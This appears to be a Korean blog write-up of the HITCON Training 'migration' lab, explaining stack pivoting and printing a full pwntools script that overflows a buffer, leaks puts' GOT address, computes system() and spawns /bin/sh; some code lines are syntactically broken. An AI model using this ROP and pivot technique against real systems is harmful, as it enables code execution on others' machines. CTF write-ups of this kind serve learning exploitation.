1. 시작하기전에...


- Stack Migration(Stack Pivoting)?

HITCON Training의 부제는 migration 입니다. stack migration의 의미를 모르고 문제로 바로 ㄱㄱ했다가 사경을 헤메다...

writup컨닝으로  eip를 바로 컨트롤 하지 않는 것을 보고 이게 무엇일까 하고 많은 고민을 하였죠..


stack의 베이스포인터를 같이 컨트롤 해주면서 스택영역을 자신이 원하는 곳으로 옮깁니다. 그래서 Stack Migration(이주) 라는 표현을 쓴 것 같네요.

구글신님께 간절히 빌어보고, 주변지인찬스를 써본 결과 윈도우 쪽에서는 Stack Pivoting이라는 것이 여기서 말하는 Stack Migration과 같다는 것을

알게되었습니다.


그래서 도대체 이런 짓을 왜 하느냐...


전에 어떤 BOF 관련 문제를 풀 때 분명히 eip의 값이 바뀌는 것 까지 gdb로 확인을 한 후 페이로드를 작성해서 날렸음에도 불구하고.. 프로그램의 흐름이 컨트롤 되지 않는 현상을 겪었습니다. 그때는 왜 안되는지 도무지 알수가 없었습니다.


이번 문제에서도 마찬가지로 eip가 바뀌는 것을 확인을 했으나.. 전혀 exploit이 안되는 상황에 놓였습니다. 


제가 내린 결론은 BOF로 스택에 원하는대로 값을 채울 수 있고, eip레지스터의 값을 컨트롤 할 수 있음에도.. 실행을 할 수 없는 어떤 이유가 있다. 정도로

결론을 내렸습니다. 물론 이번 문제에서도, 또 저번 문제에서도 NX가 걸려있지는 않았지만... 이런 상황에서는 stack을 실행 시킬 수 있는 다른 메모리 공간으로 이동을 시켜야한다! 라고 일단은 정리하고 가려고합니다.

관련되서 정확한 지식을 가지고 계신분은 피드백 주세요ㅠㅠ



2. 분석


migration.c의 내용입니다.


1
2
3
4
5
6
7
8
9
10
int main(){
    if(count != 1337)
        _exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return ;    
}
cs


소스코드 자체는 간단해요. "Try your best : " 문자열을 출력한 다음 40byte짜리 배열에 64byte만큼 read해서 BOF가 발생하는 코드입니다.


3. exploit


여느때와 마찬가지로 exploit코드를 보면서 찬찬히 뜯어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
 
log.info(proc.recv())
 
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
 
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
 
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


하... 엄청 기네요ㅋㅋ 사실 간략하게 짜면 짧을 수도 있지만, 설명을 위해 주석도 달고.. 최대한 직관적으로 코드가 이해 되도록 짜서 길어졌어요ㅠ
부분부분 잘라서 볼께요~

3-1 intro 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
cs


먼저 첫 라인부터 43번째 라인까지 한번 보겠습니다.

1 ~ 4라인은 exploit에 필요한 정보들을 쉽게 얻으려고 문제 파일(migration)과 migration이 참조하고 있는 so파일을 ELF()로 열었어요.

여기서 필요한 함수의 plt/got, symbol주소를 얻을 거에요. 


6,7라인은 디버그 모드로 이 코드를 돌리겠다(?) 정도로 보면 될 것 같습니다. 나중에 출력되는 걸 보면 아실거에요!


stack migration이 사용가능한 메모리 공간으로 스택을 이동시켜서 사용하는 거라 그랬져?

12 ~ 16라인에서 이 스택 공간을 정의해주고 있습니다.

사실 이 공간을 선정하는 방법에 대해서는 아직 잘 모르겠습니다ㅠ writeup에서는 bss+0x600, bss+0x700의 공간을 찍고있는데,



보시다시피 objdump로 살펴본바로는 bss는 8바이트 밖에 되지 않아요..

이외의 공간이라는건데 저 부분이 어디인지는 잘모르겠습니다. 다만, gdb로 확인을 했을 때는 0으로 초기화되어있는 공간이기는 하더군요.

저는 dynamic section + 0x600과 0x700을 더한 부분을 사용했습니다. 마찬가지로 이 공간이 어디인지는 모르구요..ㅠ


19~25라인에서는 필요한 plt, got 그리고 symbol주소를 가져왔습니다.

libc에서 puts와 system함수의 차이를 구한 후 이따가 실제 프로그램이 돌아갈 때 puts의 주소를 받아서 system함수를 계산할꺼에요.

그리고 이 과정에서 read함수가 필요하기 때문에 read의 plt주소도 가져옵니다.


그리고 필요한 rop 가젯들을 구해왔어요(37~43). pr은 puts사용할 때, pppr은 read사용할 때 쓰기위함이고! 

leave_ret는 ebp를 바꿔서 스택공간을 바꿀 때 사용할거에요.


3-2. payload


페이로드는 크게 세 부분으로 나뉘어져있어요


1
2
3
4
5
6
7
8
9
10
11
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
cs


우선 step1을 보시면, 더미를 쓰고 스택공간을 옮길거에요.


a를 40개 채워서 버퍼공간을 모두 채운 후 fake_stack1의 주소를 SFP에 덮어써서 ebp의 값을 바꿔줍니다. 그리고 read를 실행해요.

여기서 눈여겨 보셔야할 부분은 스택을 정리하는 부분에 pppr의 가젯 주소가 아닌 leave_ret주소가 들어간다는 점이에요.


read를 실행하고 나서 leave; ret;를 실행 하게 되는 거겠지요? 그렇다면 leave; ret;가 어떤 일을 하는지 한번 보자구요.



에필로그는 다음과 같다.

leave

mov esp, ebp

pop ebp


ret

pop eip

jmp eip


어셈블리어를 해석하자면 'ebp의 주소값을 esp로 복사하고

현재 스택의 제일 위에있는 내용을 ebp에 넣고 return 한다'고 알수있다


출처: http://r00p3r.tistory.com/entry/leave-ret의-이해 [r00p3r]


보시다시피 leave는 esp에 ebp의 값을 넣어주고 ebp를 스택에서부터 팝 해옵니다.

ret는 eip를 스택에서 pop해오고, 그 후에 그 주소로 점프를 뜁니다.


일단 step1에서는 여기까지만 숙지하시고 다음 스텝으로 넘어가볼게요.

정리하자면 step1에서는 스택을 fake_stack1으로 옮겼고, 표준입력으로 받은 값을 이 fake_stack1에 써준다. 그리고 난 후 leave_ret를 실행한다.

이렇게 정리 할 수 있겠습니다.



이제 step2를 이어서 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
cs


맨위에 fake_stack2의 주소를 써주고 있는 것이 보이시나요?

좀전 step1에서 read함수를 실행 한 다음 하는 것이  leave ret라고 했잖아요. 스택 최상단에 있는 값, 그러니까 지금 보내는 payload의

제일 첫번째 값이 ebp값으로 바뀌게 되고(leave), 그 다음에 있는 주소값을 eip에 넣은 후 그 주소로 점프를 뛰게 됩니다.(ret)

따라서 ebp가 fake_stack2로 바뀌고, puts를 실행하게 되겠지요.


puts의 인자는 puts_got에 있는 값을 출력하게 됩니다.

그리고 나서 다시 표준입력으로 fake_stack2에 값을 쓰도록 만들었습니다. 그리고 leave_ret을 하니까

다음 입력에는 fake_stack1의 주소 값이 들어 있으리라 예상할 수 있겠지요.


step2에서는 puts의 got주소를 출력하고 fake_stack2로 스택의 공간을 이동시켰어요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


마지막 step3에서는 출력된 puts의 got를 읽어서 위에서 계산한 offset을 이용하여 system함수의 주소를 계산해 냅니다.
그리고 스택공간을 다시 fake_stac1으로 바꾸고, 표준입출력으로 /bin/sh문자열을 입력받아 system함수를 call하면 마무리됩니다.

끝!


+ Recent posts